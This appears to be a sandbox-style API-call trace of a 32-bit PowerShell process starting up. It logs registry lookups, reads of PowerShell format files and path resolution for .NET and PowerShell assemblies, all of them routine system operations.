	[0083.658] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x0, lpcbData=0xee9bc*=0x0 | out: lpType=0xee9c0*=0x1, lpData=0x0, lpcbData=0xee9bc*=0x56) returned 0x0
	[0083.658] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x617f50, lpcbData=0xee9bc*=0x56 | out: lpType=0xee9c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xee9bc*=0x56) returned 0x0
	[0083.658] RegCloseKey (hKey=0x308) returned 0x0
	[0083.658] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xee520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.658] GetLastError () returned 0x0
	[0083.658] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xee4b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.658] GetLastError () returned 0x0
	[0083.741] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xac1500a9, Data2=0x1117, Data3=0x4a1c, Data4=([0]=0x98, [1]=0x1b, [2]=0x99, [3]=0x33, [4]=0x54, [5]=0x79, [6]=0x84, [7]=0xe0))) returned 0x0
	[0083.760] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xa2fa0aa2, Data2=0xb4cc, Data3=0x4ece, Data4=([0]=0x99, [1]=0xd9, [2]=0xe8, [3]=0xf3, [4]=0xb5, [5]=0x36, [6]=0x8f, [7]=0xe7))) returned 0x0
	[0083.760] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee48c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e
	[0083.760] GetLastError () returned 0x0
	[0083.761] SetErrorMode (uMode=0x1) returned 0x1
	[0083.761] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308
	[0083.761] GetLastError () returned 0x0
	[0083.761] GetFileType (hFile=0x308) returned 0x1
	[0083.761] SetErrorMode (uMode=0x1) returned 0x1
	[0083.761] GetFileType (hFile=0x308) returned 0x1
	[0083.761] ReadFile (in: hFile=0x308, lpBuffer=0x2da2cec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2da2cec*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.762] GetLastError () returned 0x0
	[0083.762] ReadFile (in: hFile=0x308, lpBuffer=0x2da2cec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2da2cec*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.762] GetLastError () returned 0x0
	[0083.763] ReadFile (in: hFile=0x308, lpBuffer=0x2da2cec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2da2cec*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.763] GetLastError () returned 0x0
	[0083.763] ReadFile (in: hFile=0x308, lpBuffer=0x2da2cec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2da2cec*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.763] GetLastError () returned 0x0
	[0083.763] ReadFile (in: hFile=0x308, lpBuffer=0x2da2cec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2da2cec*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.763] GetLastError () returned 0x0
	[0083.763] ReadFile (in: hFile=0x308, lpBuffer=0x2da2cec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2da2cec*, lpNumberOfBytesRead=0xee9f4*=0xfb2, lpOverlapped=0x0) returned 1
	[0083.763] GetLastError () returned 0x0
	[0083.763] ReadFile (in: hFile=0x308, lpBuffer=0x2da243e, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2da243e*, lpNumberOfBytesRead=0xee9f4*=0x0, lpOverlapped=0x0) returned 1
	[0083.764] GetLastError () returned 0x0
	[0083.764] ReadFile (in: hFile=0x308, lpBuffer=0x2da2cec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2da2cec*, lpNumberOfBytesRead=0xee9f4*=0x0, lpOverlapped=0x0) returned 1
	[0083.764] GetLastError () returned 0x0
	[0083.764] CloseHandle (hObject=0x308) returned 1
	[0083.764] GetLastError () returned 0x0
	[0083.764] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee554, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e
	[0083.764] GetLastError () returned 0x0
	[0083.764] SetErrorMode (uMode=0x1) returned 0x1
	[0083.764] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2dc357c | out: lpFileInformation=0x2dc357c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1
	[0083.764] GetLastError () returned 0x0
	[0083.764] SetErrorMode (uMode=0x1) returned 0x1
	[0083.764] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e
	[0083.764] GetLastError () returned 0x0
	[0083.764] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xee978 | out: phkResult=0xee978*=0x308) returned 0x0
	[0083.764] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x0, lpcbData=0xee9bc*=0x0 | out: lpType=0xee9c0*=0x1, lpData=0x0, lpcbData=0xee9bc*=0x56) returned 0x0
	[0083.764] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x617f50, lpcbData=0xee9bc*=0x56 | out: lpType=0xee9c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xee9bc*=0x56) returned 0x0
	[0083.764] RegCloseKey (hKey=0x308) returned 0x0
	[0083.764] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e
	[0083.765] GetLastError () returned 0x0
	[0083.765] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee4b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e
	[0083.765] GetLastError () returned 0x0
	[0083.765] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xcb74e7d, Data2=0xe96, Data3=0x4890, Data4=([0]=0x91, [1]=0x30, [2]=0xbd, [3]=0xc5, [4]=0x6b, [5]=0x80, [6]=0x69, [7]=0x31))) returned 0x0
	[0083.772] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xe60ee777, Data2=0xdd50, Data3=0x4ccb, Data4=([0]=0xbe, [1]=0x4f, [2]=0xbb, [3]=0xf9, [4]=0xe9, [5]=0xd2, [6]=0x2b, [7]=0x6c))) returned 0x0
	[0083.786] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x205a797, Data2=0x1120, Data3=0x4d22, Data4=([0]=0x90, [1]=0x54, [2]=0xc0, [3]=0x53, [4]=0x30, [5]=0x11, [6]=0xd7, [7]=0x8b))) returned 0x0
	[0083.786] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0xad8e74b5, Data2=0x27d7, Data3=0x4c67, Data4=([0]=0xad, [1]=0xc6, [2]=0x5, [3]=0x7e, [4]=0xac, [5]=0xb9, [6]=0xf4, [7]=0x27))) returned 0x0
	[0083.786] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x5bbf41e5, Data2=0x118d, Data3=0x4e56, Data4=([0]=0xbe, [1]=0x7e, [2]=0xf5, [3]=0xdb, [4]=0x21, [5]=0xee, [6]=0xc9, [7]=0xe0))) returned 0x0
	[0083.786] CoCreateGuid (in: pguid=0xee9e8 | out: pguid=0xee9e8*(Data1=0x6a4d9a03, Data2=0xd8f, Data3=0x44c0, Data4=([0]=0x88, [1]=0x9, [2]=0xc0, [3]=0xe3, [4]=0x9, [5]=0x87, [6]=0xa6, [7]=0xa1))) returned 0x0
	[0083.787] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee48c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.787] GetLastError () returned 0x0
	[0083.787] SetErrorMode (uMode=0x1) returned 0x1
	[0083.787] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x308
	[0083.787] GetLastError () returned 0x0
	[0083.787] GetFileType (hFile=0x308) returned 0x1
	[0083.787] SetErrorMode (uMode=0x1) returned 0x1
	[0083.787] GetFileType (hFile=0x308) returned 0x1
	[0083.787] ReadFile (in: hFile=0x308, lpBuffer=0x2de2f24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2de2f24*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.793] GetLastError () returned 0x0
	[0083.793] ReadFile (in: hFile=0x308, lpBuffer=0x2de2f24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2de2f24*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.793] GetLastError () returned 0x0
	[0083.794] ReadFile (in: hFile=0x308, lpBuffer=0x2de2f24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2de2f24*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.794] GetLastError () returned 0x0
	[0083.794] ReadFile (in: hFile=0x308, lpBuffer=0x2de2f24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2de2f24*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.794] GetLastError () returned 0x0
	[0083.795] ReadFile (in: hFile=0x308, lpBuffer=0x2de2f24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2de2f24*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.795] GetLastError () returned 0x0
	[0083.795] ReadFile (in: hFile=0x308, lpBuffer=0x2de2f24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2de2f24*, lpNumberOfBytesRead=0xee9f4*=0x1000, lpOverlapped=0x0) returned 1
	[0083.795] GetLastError () returned 0x0
	[0083.795] ReadFile (in: hFile=0x308, lpBuffer=0x2de2f24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2de2f24*, lpNumberOfBytesRead=0xee9f4*=0xaca, lpOverlapped=0x0) returned 1
	[0083.795] GetLastError () returned 0x0
	[0083.795] ReadFile (in: hFile=0x308, lpBuffer=0x2de258e, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2de258e*, lpNumberOfBytesRead=0xee9f4*=0x0, lpOverlapped=0x0) returned 1
	[0083.795] GetLastError () returned 0x0
	[0083.795] ReadFile (in: hFile=0x308, lpBuffer=0x2de2f24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xee9f4, lpOverlapped=0x0 | out: lpBuffer=0x2de2f24*, lpNumberOfBytesRead=0xee9f4*=0x0, lpOverlapped=0x0) returned 1
	[0083.795] GetLastError () returned 0x0
	[0083.795] CloseHandle (hObject=0x308) returned 1
	[0083.795] GetLastError () returned 0x0
	[0083.795] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee554, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.795] GetLastError () returned 0x0
	[0083.796] SetErrorMode (uMode=0x1) returned 0x1
	[0083.796] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2e03f20 | out: lpFileInformation=0x2e03f20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1
	[0083.796] GetLastError () returned 0x0
	[0083.796] SetErrorMode (uMode=0x1) returned 0x1
	[0083.796] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.796] GetLastError () returned 0x0
	[0083.796] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xee978 | out: phkResult=0xee978*=0x308) returned 0x0
	[0083.796] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x0, lpcbData=0xee9bc*=0x0 | out: lpType=0xee9c0*=0x1, lpData=0x0, lpcbData=0xee9bc*=0x56) returned 0x0
	[0083.796] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xee9c0, lpData=0x617f50, lpcbData=0xee9bc*=0x56 | out: lpType=0xee9c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xee9bc*=0x56) returned 0x0
	[0083.796] RegCloseKey (hKey=0x308) returned 0x0
	[0083.796] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.796] GetLastError () returned 0x0
	[0083.797] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0xee4b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0083.797] GetLastError () returned 0x0
	[0083.809] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a
	[0083.809] GetLastError () returned 0x0
	[0083.809] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0083.809] GetLastError () returned 0x57
	[0083.815] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48
	[0083.815] GetLastError () returned 0x57
	[0083.818] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.819] GetLastError () returned 0x57
	[0083.824] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
	[0083.824] GetLastError () returned 0x57
	[0083.828] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", lpFilePart=0x0) returned 0x52
	[0083.828] GetLastError () returned 0x57
	[0083.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", lpFilePart=0x0) returned 0x74
	[0083.830] GetLastError () returned 0x57
	[0083.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70
	[0083.830] GetLastError () returned 0x57
	[0083.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", lpFilePart=0x0) returned 0x60
	[0083.831] GetLastError () returned 0x57
	[0083.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0083.846] GetLastError () returned 0x57
	[0083.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c
	[0083.847] GetLastError () returned 0x57
	[0083.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
	[0083.847] GetLastError () returned 0x57
	[0083.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", lpFilePart=0x0) returned 0x50
	[0083.848] GetLastError () returned 0x57
	[0083.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", lpFilePart=0x0) returned 0x5e
	[0083.848] GetLastError () returned 0x57
	[0083.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", lpFilePart=0x0) returned 0x6c
	[0083.864] GetLastError () returned 0x57
	[0083.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a
	[0083.864] GetLastError () returned 0x57
	[0083.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0083.864] GetLastError () returned 0x57
	[0083.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48
	[0083.864] GetLastError () returned 0x57
	[0083.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.865] GetLastError () returned 0x57
	[0083.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee220, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.865] GetLastError () returned 0x57
	[0083.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.865] GetLastError () returned 0x57
	[0083.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0083.865] GetLastError () returned 0x57
